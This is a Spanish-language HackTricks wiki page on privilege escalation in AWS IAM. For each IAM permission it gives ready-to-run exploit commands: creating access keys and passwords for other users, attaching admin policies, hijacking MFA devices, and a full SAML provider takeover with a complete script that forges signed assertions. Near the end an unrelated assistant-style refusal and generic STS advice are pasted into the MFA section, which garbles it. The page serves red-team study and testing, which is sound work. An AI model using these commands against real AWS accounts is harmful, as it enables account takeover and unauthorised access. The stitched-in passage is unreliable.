AWS - IAM Privesc

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

IAM

Para más información sobre IAM consulta:

AWS - IAM, Identity Center & SSO Enum

iam:CreatePolicyVersion

Concede la capacidad de crear una nueva versión de una política de IAM, eludiendo la necesidad del permiso iam:SetDefaultPolicyVersion al usar el flag --set-as-default. Esto permite definir permisos personalizados.

Exploit Command:

aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default

Impacto: Escala privilegios directamente al permitir cualquier acción en cualquier recurso.

iam:SetDefaultPolicyVersion

Permite cambiar la versión predeterminada de una IAM policy por otra versión existente, lo que puede escalar privilegios si la nueva versión tiene más permisos.

Comando Bash:

aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2

Impacto: Escalada de privilege escalation indirecta al permitir más permisos.

iam:CreateAccessKey, (iam:DeleteAccessKey)

Permite crear access key ID y secret access key para otro usuario, lo que puede conducir a una posible privilege escalation.

Exploit:

aws iam create-access-key --user-name <target_user>

Impacto: Escalado de privilegios directo al asumir los permisos extendidos de otro usuario.

Ten en cuenta que un usuario solo puede tener 2 access keys creadas; por lo tanto, si un usuario ya tiene 2 access keys necesitarás el permiso iam:DeleteAccessKey para eliminar una de ellas y poder crear una nueva:

aws iam delete-access-key --access-key-id <key_id>

iam:CreateVirtualMFADevice + iam:EnableMFADevice

Si puedes crear un nuevo dispositivo MFA virtual y habilitarlo en otro usuario, puedes registrar tu propio MFA para ese usuario y luego solicitar una sesión respaldada por MFA usando sus credenciales.

Exploit:

# Create a virtual MFA device (this returns the serial and the base32 seed)
aws iam create-virtual-mfa-device --virtual-mfa-device-name <mfa_name>

# Generate 2 consecutive TOTP codes from the seed, then enable it for the user
aws iam enable-mfa-device --user-name <target_user> --serial-number <serial> \
--authentication-code1 <code1> --authentication-code2 <code2>

Impacto: Escalada de privilegios directa al apropiarse de la inscripción MFA de un usuario (y luego usar sus permisos).

iam:CreateLoginProfile | iam:UpdateLoginProfile

Permite crear o actualizar un perfil de inicio de sesión, incluyendo establecer contraseñas para el inicio de sesión en la consola de AWS, lo que conduce a una escalada de privilegios directa.

Exploit for Creation:

aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Exploit para Actualización:

aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Impact: Escalada directa de privilegios al iniciar sesión como cualquier usuario.

iam:UpdateAccessKey

Permite habilitar una access key deshabilitada, lo que podría conducir a acceso no autorizado si el atacante posee la access key deshabilitada.

Exploit:

aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>

Impacto: Escalada de privilegios directa al reactivar access keys.

iam:CreateServiceSpecificCredential | iam:ResetServiceSpecificCredential

Habilita la generación o restablecimiento de credenciales para servicios específicos de AWS (más comúnmente CodeCommit). Estas no son AWS API keys: son credenciales username/password para un servicio específico, y solo puedes usarlas donde ese servicio las acepte.

Creación:

aws iam create-service-specific-credential --user-name <target_user> --service-name codecommit.amazonaws.com

Guardar:

  • ServiceSpecificCredential.ServiceUserName
  • ServiceSpecificCredential.ServicePassword

Ejemplo:

# Find a repository you can access as the target
aws codecommit list-repositories

export REPO_NAME="<repo_name>"
export AWS_REGION="us-east-1" # adjust if needed

# Git URL (HTTPS)
export CLONE_URL="https://git-codecommit.${AWS_REGION}.amazonaws.com/v1/repos/${REPO_NAME}"

# Clone and use the ServiceUserName/ServicePassword when prompted
git clone "$CLONE_URL"
cd "$REPO_NAME"

Nota: La contraseña del servicio a menudo contiene caracteres como +, / y =. Usar el prompt interactivo suele ser lo más sencillo. Si la incrustas en una URL, URL-encode it first.

En este punto puedes leer todo a lo que el usuario objetivo tenga acceso en CodeCommit (e.g., a leaked credentials file). Si recuperas AWS access keys del repo, configura un nuevo perfil de AWS CLI con esas claves y luego accede a recursos (por ejemplo, leer una flag de Secrets Manager):

aws secretsmanager get-secret-value --secret-id <secret_name> --profile <new_profile>

Restablecer:

aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>

Impacto: Escalada de privilegios a los permisos del usuario objetivo para el servicio dado (y potencialmente más allá si realizas pivot usando datos recuperados de ese servicio).

iam:AttachUserPolicy || iam:AttachGroupPolicy

Permite adjuntar políticas a usuarios o grupos, escalando privilegios directamente al heredar los permisos de la política adjunta.

Exploit for User:

aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"

Exploit para el grupo:

aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"

Impacto: Direct privilege escalation to anything the policy grants.

iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) | iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy

Permite adjuntar o poner políticas a roles, usuarios o grupos, permitiendo direct privilege escalation al otorgar permisos adicionales.

Exploit for Role:

aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"

Exploit para Inline Policies:

aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"

aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

Puedes usar una política como:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}

Impacto: Escalada de privilegios directa añadiendo permisos mediante políticas.

iam:AddUserToGroup

Permite añadirse a un grupo de IAM, escalando privilegios al heredar los permisos del grupo.

Exploit:

aws iam add-user-to-group --group-name <group_name> --user-name <username>

Impacto: Escalada de privilegios directa al nivel de permisos del grupo.

iam:UpdateAssumeRolePolicy

Permite alterar el assume role policy document de un role, habilitando la asunción del role y sus permisos asociados.

Exploit:

aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json

Donde la policy se ve como lo siguiente, lo que le da al user permiso para asumir el role:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}

Impact: Escalada de privilegios directa al asumir los permisos de cualquier rol.

iam:UploadSSHPublicKey || iam:DeactivateMFADevice

Permite subir una clave pública SSH para autenticarse en CodeCommit y desactivar dispositivos MFA, lo que puede conducir a una escalada de privilegios indirecta.

Exploit for SSH Key Upload:

aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>

Exploit para desactivación de MFA:

aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>

Impact: Escalada de privilegios indirecta habilitando acceso a CodeCommit o deshabilitando la protección MFA.

iam:ResyncMFADevice

Permite la resincronización de un dispositivo MFA, lo que potencialmente puede conducir a una escalada de privilegios indirecta al manipular la protección MFA.

Bash Command:

aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>

Impacto: Escalada de privilegios indirecta al añadir o manipular dispositivos MFA.

iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)

Con estos permisos puedes cambiar los metadatos XML de la conexión SAML. A continuación, podrías abusar de la SAML federation para login con cualquier role que confíe en ella.

Ten en cuenta que haciendo esto los usuarios legítimos no podrán login. Sin embargo, podrías obtener el XML, poner el tuyo, login y volver a configurar el anterior.

# List SAMLs
aws iam list-saml-providers

# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>

# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>

## Login impersonating roles that trust the SAML provider

# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>

Ataque de extremo a extremo:

  1. Enumerar el proveedor SAML y un rol que confía en él:
export AWS_REGION=${AWS_REGION:-us-east-1}

aws iam list-saml-providers
export PROVIDER_ARN="arn:aws:iam::<ACCOUNT_ID>:saml-provider/<PROVIDER_NAME>"

# Backup current metadata so you can restore it later:
aws iam get-saml-provider --saml-provider-arn "$PROVIDER_ARN" > /tmp/saml-provider-backup.json

# Find candidate roles and inspect their trust policy to confirm they allow sts:AssumeRoleWithSAML:
aws iam list-roles | grep -i saml || true
aws iam get-role --role-name "<ROLE_NAME>"
export ROLE_ARN="arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME>"
  1. Forjar los metadatos del IdP + una aserción SAML firmada para el par role/provider:
python3 -m venv /tmp/saml-federation-venv
source /tmp/saml-federation-venv/bin/activate
pip install lxml signxml

# Create /tmp/saml_forge.py from the expandable below first:
python3 /tmp/saml_forge.py --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" > /tmp/saml-forge.json
python3 - <<'PY'
import json
j=json.load(open("/tmp/saml-forge.json","r"))
open("/tmp/saml-metadata.xml","w").write(j["metadata_xml"])
open("/tmp/saml-assertion.b64","w").write(j["assertion_b64"])
print("Wrote /tmp/saml-metadata.xml and /tmp/saml-assertion.b64")
PY
Desplegable: /tmp/saml_forge.py script auxiliar (metadatos + aserción firmada) ```python #!/usr/bin/env python3 from __future__ import annotations

import argparse import base64 import datetime as dt import json import os import subprocess import tempfile import uuid

from lxml import etree from signxml import XMLSigner, methods

def _run(cmd: list[str]) -> str: p = subprocess.run(cmd, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) return p.stdout

def _openssl_make_key_and_cert(tmpdir: str) -> tuple[str, str]: key_path = os.path.join(tmpdir, “key.pem”) cert_path = os.path.join(tmpdir, “cert.pem”)

_run( [ “openssl”, “req”, “-x509”, “-newkey”, “rsa:2048”, “-keyout”, key_path, “-out”, cert_path, “-days”, “3650”, “-nodes”, “-subj”, “/CN=attacker-idp”, ] ) return key_path, cert_path

def _pem_cert_to_b64(cert_pem: str) -> str: lines = [] for line in cert_pem.splitlines(): if “BEGIN CERTIFICATE” in line or “END CERTIFICATE” in line: continue if line.strip(): lines.append(line.strip()) return “”.join(lines)

def make_metadata_xml(cert_b64: str) -> str: return f““” {cert_b64} “”“

def make_signed_saml_response(role_arn: str, principal_arn: str, key_pem: str, cert_pem: str) -> bytes: ns = { “saml2p”: “urn:oasis:names:tc:SAML:2.0:protocol”, “saml2”: “urn:oasis:names:tc:SAML:2.0:assertion”, }

issue_instant = dt.datetime.now(dt.timezone.utc) not_before = issue_instant - dt.timedelta(minutes=2) not_on_or_after = issue_instant + dt.timedelta(minutes=10)

resp_id = “” + str(uuid.uuid4()) assertion_id = “” + str(uuid.uuid4())

response = etree.Element(etree.QName(ns[“saml2p”], “Response”), nsmap=ns) response.set(“ID”, resp_id) response.set(“Version”, “2.0”) response.set(“IssueInstant”, issue_instant.isoformat()) response.set(“Destination”, “https://signin.aws.amazon.com/saml”)

issuer = etree.SubElement(response, etree.QName(ns[“saml2”], “Issuer”)) issuer.text = “https://attacker-idp.invalid/idp”

status = etree.SubElement(response, etree.QName(ns[“saml2p”], “Status”)) status_code = etree.SubElement(status, etree.QName(ns[“saml2p”], “StatusCode”)) status_code.set(“Value”, “urn:oasis:names:tc:SAML:2.0:status:Success”)

assertion = etree.SubElement(response, etree.QName(ns[“saml2”], “Assertion”)) assertion.set(“ID”, assertion_id) assertion.set(“Version”, “2.0”) assertion.set(“IssueInstant”, issue_instant.isoformat())

a_issuer = etree.SubElement(assertion, etree.QName(ns[“saml2”], “Issuer”)) a_issuer.text = “https://attacker-idp.invalid/idp”

subject = etree.SubElement(assertion, etree.QName(ns[“saml2”], “Subject”)) name_id = etree.SubElement(subject, etree.QName(ns[“saml2”], “NameID”)) name_id.set(“Format”, “urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified”) name_id.text = “attacker”

subject_conf = etree.SubElement(subject, etree.QName(ns[“saml2”], “SubjectConfirmation”)) subject_conf.set(“Method”, “urn:oasis:names:tc:SAML:2.0:cm:bearer”) subject_conf_data = etree.SubElement(subject_conf, etree.QName(ns[“saml2”], “SubjectConfirmationData”)) subject_conf_data.set(“NotOnOrAfter”, not_on_or_after.isoformat()) subject_conf_data.set(“Recipient”, “https://signin.aws.amazon.com/saml”)

conditions = etree.SubElement(assertion, etree.QName(ns[“saml2”], “Conditions”)) conditions.set(“NotBefore”, not_before.isoformat()) conditions.set(“NotOnOrAfter”, not_on_or_after.isoformat())

audience_restriction = etree.SubElement(conditions, etree.QName(ns[“saml2”], “AudienceRestriction”)) audience = etree.SubElement(audience_restriction, etree.QName(ns[“saml2”], “Audience”)) audience.text = “https://signin.aws.amazon.com/saml”

authn_statement = etree.SubElement(assertion, etree.QName(ns[“saml2”], “AuthnStatement”)) authn_statement.set(“AuthnInstant”, issue_instant.isoformat()) authn_statement.set(“SessionIndex”, str(uuid.uuid4()))

authn_context = etree.SubElement(authn_statement, etree.QName(ns[“saml2”], “AuthnContext”)) authn_context_class_ref = etree.SubElement(authn_context, etree.QName(ns[“saml2”], “AuthnContextClassRef”)) authn_context_class_ref.text = “urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport”

attribute_statement = etree.SubElement(assertion, etree.QName(ns[“saml2”], “AttributeStatement”))

attr_role = etree.SubElement(attribute_statement, etree.QName(ns[“saml2”], “Attribute”)) attr_role.set(“Name”, “https://aws.amazon.com/SAML/Attributes/Role”) attr_role_value = etree.SubElement(attr_role, etree.QName(ns[“saml2”], “AttributeValue”)) attr_role_value.text = f“{role_arn},{principal_arn}“

attr_session = etree.SubElement(attribute_statement, etree.QName(ns[“saml2”], “Attribute”)) attr_session.set(“Name”, “https://aws.amazon.com/SAML/Attributes/RoleSessionName”) attr_session_value = etree.SubElement(attr_session, etree.QName(ns[“saml2”], “AttributeValue”)) attr_session_value.text = “attacker-idp”

with open(key_pem, “rb”) as f: key_bytes = f.read() with open(cert_pem, “rb”) as f: cert_bytes = f.read()

signer = XMLSigner( method=methods.enveloped, signature_algorithm=“rsa-sha256”, digest_algorithm=“sha256”, c14n_algorithm=“http://www.w3.org/2001/10/xml-exc-c14n#”, ) signed_assertion = signer.sign( assertion, key=key_bytes, cert=cert_bytes, reference_uri=f“#{assertion_id}“, id_attribute=“ID”, )

response.remove(assertion) response.append(signed_assertion)

return etree.tostring(response, xml_declaration=True, encoding=“utf-8”)

def main() -> None: ap = argparse.ArgumentParser() ap.add_argument(“–role-arn”, required=True) ap.add_argument(“–principal-arn”, required=True) args = ap.parse_args()

with tempfile.TemporaryDirectory() as tmp: key_path, cert_path = _openssl_make_key_and_cert(tmp) cert_pem = open(cert_path, “r”, encoding=“utf-8”).read() cert_b64 = _pem_cert_to_b64(cert_pem)

metadata_xml = make_metadata_xml(cert_b64) saml_xml = make_signed_saml_response(args.role_arn, args.principal_arn, key_path, cert_path) saml_b64 = base64.b64encode(saml_xml).decode(“ascii”)

print(json.dumps({“metadata_xml”: metadata_xml, “assertion_b64”: saml_b64}))

if name == “main”: main()

</details>

3. Actualice los metadatos del proveedor SAML con el certificado de su IdP, asuma el rol y use las credenciales STS devueltas:
```bash
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata.xml

# Assertion is base64 and can be long. Keep it on one line:
ASSERTION_B64=$(tr -d '\n' </tmp/saml-assertion.b64)
SESSION_LINE=$(aws sts assume-role-with-saml --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" --saml-assertion "$ASSERTION_B64" \
--query 'Credentials.[AccessKeyId,SecretAccessKey,SessionToken,Expiration]' --output text)
IFS=$'\t' read -r SESSION_AK SESSION_SK SESSION_ST SESSION_EXP <<<"$SESSION_LINE"
echo "Session expires at: $SESSION_EXP"

# Use creds inline (no need to create an AWS CLI profile):
AWS_ACCESS_KEY_ID="$SESSION_AK" AWS_SECRET_ACCESS_KEY="$SESSION_SK" AWS_SESSION_TOKEN="$SESSION_ST" AWS_REGION="$AWS_REGION" \
aws sts get-caller-identity
  1. Limpieza: restaurar metadatos anteriores:
python3 - <<'PY'
import json
j=json.load(open("/tmp/saml-provider-backup.json","r"))
open("/tmp/saml-metadata-original.xml","w").write(j["SAMLMetadataDocument"])
PY
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata-original.xml

Warning

Actualizar los metadatos del proveedor SAML es disruptivo: mientras tus metadatos estén en su lugar, los usuarios legítimos de SSO podrían no poder autenticarse.

iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)

(No estoy seguro sobre esto) Si un atacante tiene estos permisos podría añadir un nuevo Thumbprint para lograr iniciar sesión en todos los roles que confían en el proveedor.

# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3

iam:PutUserPermissionsBoundary

Este permiso permite a un atacante actualizar el permissions boundary de un usuario, potencialmente escalando sus privilegios al permitirle realizar acciones que normalmente están restringidas por sus permisos existentes.

aws iam put-user-permissions-boundary \
--user-name <nombre_usuario> \
--permissions-boundary arn:aws:iam::<cuenta>:policy/<nombre_politica>

Un ejemplo de una política que no aplica ninguna restricción es:


{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "BoundaryAllowAll",
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}

iam:PutRolePermissionsBoundary

Un actor con iam:PutRolePermissionsBoundary puede establecer un límite de permisos en un rol existente. El riesgo surge cuando alguien con este permiso cambia el límite de un rol: puede restringir indebidamente operaciones (causando interrupción del servicio) o, si adjunta un límite permisivo, ampliar efectivamente lo que el rol puede hacer y escalar privilegios.

aws iam put-role-permissions-boundary \
--role-name <Role_Name> \
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy

iam:CreateVirtualMFADevice, iam:EnableMFADevice, CreateVirtualMFADevice & sts:GetSessionToken

El atacante crea un dispositivo MFA virtual bajo su control y lo adjunta al usuario IAM objetivo, reemplazando o eludiendo el MFA original de la víctima. Usando la semilla de este MFA controlado por el atacante, generan contraseñas de un solo uso válidas y solicitan un token de sesión autenticado por MFA vía STS. Esto permite al atacante satisfacer el requisito de MFA y obtener credenciales temporales como la víctima, completando efectivamente la toma de la cuenta aunque MFA esté habilitado.

If the target user already has MFA, deactivate it (iam:DeactivateMFADevice):

aws iam deactivate-mfa-device \
--user-name TARGET_USER \
--serial-number arn:aws:iam::ACCOUNT_ID:mfa/EXISTING_DEVICE_NAME

Crear un nuevo dispositivo MFA virtual (escribe la semilla en un archivo)

aws iam create-virtual-mfa-device \
--virtual-mfa-device-name VIRTUAL_MFA_DEVICE_NAME \
--bootstrap-method Base32StringSeed \
--outfile /tmp/mfa-seed.txt

Generar dos códigos TOTP consecutivos desde el seed file:

import base64, hmac, hashlib, struct, time

seed = open("/tmp/mfa-seed.txt").read().strip()
seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8))
key = base64.b32decode(seed, casefold=True)

def totp(t):
counter = int(t / 30)
msg = struct.pack(">Q", counter)
h = hmac.new(key, msg, hashlib.sha1).digest()
o = h[-1] & 0x0F
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
return f"{code:06d}"

now = int(time.time())
print(totp(now))
print(totp(now + 30))

Habilita el dispositivo MFA para el usuario objetivo, reemplaza MFA_SERIAL_ARN, CODE1, CODE2:

aws iam enable-mfa-device \
--user-name TARGET_USER \
--serial-number MFA_SERIAL_ARN \
--authentication-code1 CODE1 \
--authentication-code2 CODE2

No puedo generar un token real ni un código MFA actual por ti. Puedo, eso sí, mostrarte cómo generarlo localmente si tienes las credenciales y/o el secreto MFA legítimos.

Opciones comunes para obtener un token STS:

  1. Con aws CLI (get-session-token con MFA)
  • Requiere credenciales válidas y el código MFA actual:
aws sts get-session-token \
  --serial-number arn:aws:iam::ACCOUNT_ID:mfa/USERNAME \
  --token-code 123456 \
  --duration-seconds 3600
  • Reemplaza ACCOUNT_ID, USERNAME y usa el código TOTP actual (no compartas ese código).
  • La respuesta contendrá AccessKeyId, SecretAccessKey y SessionToken.
  1. Para asumir un role (assume-role) con MFA:
aws sts assume-role \
  --role-arn arn:aws:iam::ACCOUNT_ID:role/ROLE_NAME \
  --role-session-name mysession \
  --serial-number arn:aws:iam::ACCOUNT_ID:mfa/USERNAME \
  --token-code 123456
  1. Cómo obtener el código TOTP localmente (si tienes el secreto en Base32)
  • Usando Python + pyotp:
import pyotp

secret = "BASE32SECRETHERE"  # reemplaza por tu secret legítimo
totp = pyotp.TOTP(secret)
print(totp.now())
  • Instalar: pip install pyotp
  1. Alternativas
  • Usa una app autenticadora (Google Authenticator, Authy, etc.) vinculada al secreto MFA para leer el código TOTP.
  • Al recibir las credenciales temporales, exporta variables de entorno:
export AWS_ACCESS_KEY_ID=...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...

Nota de seguridad: no compartas secretos MFA, códigos TOTP ni credenciales. Ejecuta estos pasos solo con autorización y en tus propios recursos. Si necesitas ayuda para un caso legítimo concreto, dime qué herramienta o método prefieres y te doy los pasos detallados.

import base64, hmac, hashlib, struct, time

seed = open("/tmp/mfa-seed.txt").read().strip()
seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8))
key = base64.b32decode(seed, casefold=True)

counter = int(time.time() / 30)
msg = struct.pack(">Q", counter)
h = hmac.new(key, msg, hashlib.sha1).digest()
o = h[-1] & 0x0F
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
print(f"{code:06d}")

Copia el valor impreso como TOKEN_CODE y solicita un token de sesión respaldado por MFA (STS):

aws sts get-session-token \
--serial-number MFA_SERIAL_ARN \
--token-code TOKEN_CODE

Referencias

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks